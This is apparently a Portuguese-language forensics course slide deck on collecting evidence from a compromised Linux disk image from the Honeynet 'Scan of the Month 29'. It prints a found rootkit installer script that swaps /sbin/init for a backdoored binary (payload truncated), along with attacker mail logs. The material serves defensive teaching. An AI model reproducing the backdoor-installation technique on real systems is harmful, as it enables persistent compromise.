Análise forense
Sessão de aprendizagem 4 Coleta de evidências
Sumário Coleta de evidências Tipo de evidências Primeiros passos Técnicas de coleta Arquivos de log Arquivos de boot Arquivos do sistema
Coleta de evidências A análise forense de mídias tem o objetivo de recuperar evidências que comprovem a invasão do computador analisado. O investigador deve ser imparcial em seu julgamento e na coleta de provas. O processo de coleta de evidências é demorado e varia de caso para caso. Vamos nos concentrar em conhecer as evidências importantes e a forma de recuperá-las do disco, para depois analisá-las e tentar montar uma linha de tempo do ataque.
Sistema comprometido Utilizaremos um modelo virtual de um sistema comprometido, utilizado no “Scan Of The Month 29” do projeto Honeynet. Esta máquina virtual foi parada em um momento específico após a invasão, para que fosse possível analisar o sistema como se estivesse utilizando a máquina. Como esta máquina virtual é antiga, as versões mais novas do VMWare não conseguem mais abri-la. Por isso, vamos utilizar uma outra máquina virtual, configurada para usar o disco da máquina antiga. Dessa forma, poderemos acessar o disco com um Live CD do Helix, e capturar uma imagem do disco. É essa imagem que vamos analisar nas próximas sessões.
Tipos de evidências Qualquer tipo de informação encontrada na máquina suspeita pode ser considerado uma evidência. Arquivos de logs Arquivos apagados Históricos de comandos Binários comprometidos Arquivos em diretórios suspeitos Arquivos abertos no momento da coleta inicial de evidências Dados importantes que possam ter sido comprometidos Datas de acesso, de modificação e de criação de arquivos
Primeiros passos Um bom ponto de partida são as informaçþes coletadas durante o momento da captura do computador comprometido.
Primeiros passos Para começar a procurar por evidências na imagem do disco comprometido, será necessário ter acesso ao sistema de arquivos dessa imagem. É importante sempre manter a integridade de todas as evidências. # mkdir /mnt/image # mount /data/compromised/compromised_hda1.img /data/hda1.img /mnt/image –o ro,loop,noatime,nodev,noexec –t ext2 # fsstat /data/compromised/compromised_hda1.img | less FILE SYSTEM INFORMATION -------------------------------------------File System Type: Ext3 Volume Name: / Volume ID: 45ba545b90872295d7113db68ac3de0b Last Written at: Sat Aug
9 15:34:26 2003
Last Checked at: Mon Jul 14 14:52:13 2003 Last Mounted at: Sat Aug
9 15:34:26 2003
Primeiros passos Algumas ferramentas do sistema podem ser usadas na investigação, e muitas vezes são essenciais para o trabalho. A coleta de evidências é um processo cíclico. Cada evidência encontrada leva a novas pistas e o processo deve ser reiniciado com as novas informações. # find /mnt/image –atime 1825 –or –mtime 1825 # find /mnt/image/ -anewer /mnt/image/bin/date –ls # find /mnt/image/dev/ -not -type c –and -not -type b –ls # file /mnt/image/dev/ttyop # strings /mnt/image/dev/ttyop
Armazenagem de evidências Armazenar evidências de forma segura e padronizada: Garante a integridade das mesmas. Permite recuperar e correlacionar de forma fácil as evidências. Mantém a cadeia de custódia das evidências, permitindo o controle do acesso a elas. O local de armazenagem deve ser seguro e ter acesso controlado.
Armazenagem de evidências tag#
20080118-1750-txt-0001
Tipo
Arquivo de texto
Nome
/mnt/image/dev/ttyop
SHA1 hash
2a7badc291e94f3dcb621c0b7abf100eb0ad88cd
Tamanho
74 bytes
Data
2002/03/18
Descrição
Arquivo com nomes de processos/arquivos
Observações
Relacionado com evidências 20040907-1750txt-0002 e 20040907-1750-txt-0003
Armazenagem de evidências tag#
20080118-1750-txt-0002
Tipo Nome SHA1 hash
Arquivo de texto /mnt/image/dev/ttyoa fe3b2e77710875617dee295e1f880b 9fcc4d9300 134 bytes 2002/09/04 Arquivo com endereços de rede/portas
Tamanho Data Descrição Observações
Técnicas de coleta Utilizar inicialmente as ferramentas do sistema para encontrar pistas valiosas. # find /mnt/image -name .\* # find /mnt/image –name “[ ]*.*” # strings -a -n4 /data/compromised/compromised_hda1.img # grep –E “[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}” /data/compromised/compromised_hda1.img.str # grep -i “ttyoa” /data/compromised/compromised_hda1.img.str # grep “tar\.gz” /data/compromised/compromised_hda1.img.str # grep -f /data/dirt_list.txt /data/compromised/compromised_hda1.img.str
Técnicas de coleta Analisar os arquivos de sistema, logs, binários, inicialização e históricos de comandos. Verificar dados importantes armazenados em disco. # ls –la /mnt/image/var/log # more /mnt/image/var/log/boot.log # more /mnt/image/var/log/secure # more /mnt/image/var/log/maillog # find /mnt/image -name \*.log # more /mnt/image/etc/opt/psybnc/log/psybnc.log # cat /mnt/image/usr/lib/libice.log
Arquivos de logs A análise de arquivos de logs é um passo importante na análise forense, embora nunca se deva confiar totalmente em um log. Às vezes, até mesmo a falta de alguma informação em um log pode ser uma evidência importante. O investigador deve procurar todos os arquivos de logs armazenados em disco. É importante tentar correlacionar os logs com outros eventos: data de criação/acesso/remoção de arquivos, outros logs, eventos capturados em dispositivos de rede etc.
Arquivos de logs Logs de e-mail podem fornecer boas pistas # more maillog Aug 10 14:14:01 localhost sendmail[4768]: h7ALE1t04763: to=jijeljijel@yahoo.com, ctladdr=apache (48/48), delay=00:00:00, xdelay=00:00:00, mailer=esmtp, pri=31300, relay=mx1.mail.yahoo.com. [64.157.4.78], dsn=2.0.0, stat=Sent (ok dirdel) Aug 10 15:37:40 localhost sendmail[23320]: h7AMUUn23300: to=newptraceuser@yahoo.com, ctladdr=apache (48/48), delay=00:07:10, xdelay=00:07:10, mailer=esmtp, pri=30043, relay=mx4.mail.yahoo.com. [216.136.129.6], dsn=2.0.0, stat=Sent (ok dirdel) Aug 10 15:42:31 localhost sendmail[23331]: h7AMUVC23321: to=newptraceuser@yahoo.com, ctladdr=apache (48/48), delay=00:12:00, xdelay=00:12:00, mailer=esmtp, pri=30043, relay=mx4.mail.yahoo.com. [216.136.129.17], dsn=4.0.0, stat=Deferred: Connection timed out with mx4.mail.yahoo.com. Aug 10 15:43:43 localhost sendmail[25659]: h7AMWXH25629: to=skiZophrenia_siCk@yahoo.com, ctladdr=root (0/0), delay=00:11:10, xdelay=00:11:10, mailer=esmtp, pri=38198, relay=mx4.mail.yahoo.com. [216.136.129.6], dsn=5.0.0, stat=Service unavailable Aug 10 15:43:43 localhost sendmail[25659]: h7AMWXH25629: h7AMhhG25659: DSN: Service unavailable Aug 10 16:34:50 localhost sendmail[15194]: h7AMUVC23321: to=newptraceuser@yahoo.com, ctladdr=apache (48/48), delay=01:04:19, xdelay=00:00:00, mailer=esmtp, pri=120043, relay=mx2.mail.yahoo.com. [64.156.215.5], dsn=2.0.0, stat=Sent (ok dirdel)
Arquivos de inicialização do sistema Ao invadir uma máquina, o atacante tenta garantir o controle do sistema através da instalação de rootkits ou ferramentas de backdoor. Para isso, será necessário modificar os arquivos de inicialização da máquina, ou então substituir executáveis do sistema por versões comprometidas com backdoors. Os arquivos utilizados variam dependendo do tipo de sistema que estiver sendo utilizado.
Arquivos de inicialização do sistema No exemplo, encontramos o arquivo de instalação de um rootkit # find /mnt/image/ -name inst /mnt/image/usr/lib/perl5/5.6.0/ExtUtils/inst /mnt/image/lib/.x/inst # file /mnt/image/lib/.x/inst /mnt/image/lib/.x/inst: Bourne-Again shell script text executable # cat /mnt/image/lib/.x/inst #!/bin/bash D="/lib/.x" H="13996" mkdir -p $D; cd $D echo > .sniffer; chmod 0622 .sniffer echo -n -e "\037\213\010\010\114\115\016\076\002\003\163\153\000\355\175\177\170\ ... \313\233\330\157\000\000" | gzip -d > sk chmod 0755 sk; if [ ! -f /sbin/init${H} ]; then cp -f /sbin/init /sbin/init${H}; fi; rm -f /sbin/init; cp sk /sbin/init echo Your home is $D, go there and type ./sk to install echo Have phun!
Arquivos de histórico de comandos Uma das primeiras providências tomadas por um invasor ao adquirir o controle de uma máquina é tentar apagar seus rastros. A maioria dos invasores não têm um conhecimento profundo do sistema. Os históricos de comandos são criados pelo shell e geralmente armazenados em arquivo no fim da sessão. Muitos invasores esquecem desse detalhe. Alguns invasores costumam remover o histórico de comandos e redirecionar o arquivo para o dispositivo /dev/null
Checando arquivos importantes do sistema O processo de procurar evidências manualmente pode ser muito demorado e cansativo. Nestes casos, pode ser mais eficiente utilizar algumas ferramentas para facilitar essa pesquisa. Chkrootkit e um antivírus são um bom auxílio ao investigador. Estas ferramentas podem nos auxiliar a confirmar informações que havíamos encontrado anteriormente, bem como detectar novas evidências da invasão. Um antivírus pode nos ajudar a encontrar evidências mais difíceis de detectar pelas técnicas normais.
Checando arquivos importantes do sistema Prática: Apenas como exercício, execute o comando abaixo e veja se acha algo interessante: # find /mnt/image/ -anewer /mnt/image/dev/hdx1
-ls | less
Lembra o que o comando acima faz? Anote os arquivos de interesse e inclua-os na lista de evidências.
Conclusões Vimos nesta sessão o que são evidências e como tratá-las e armazená-las de maneira a garantir a integridade e a cadeia de custódia das mesmas. Aprendemos a encontrar evidências utilizando ferramentas básicas disponíveis em qualquer distribuição Linux. Ainda existem muitas evidências presentes na imagem analisada nesta sessão. A análise forense é um processo cíclico, demorado e sujeito a erros. É importante tentar correlacionar evidências para garantir a validade das informações coletadas.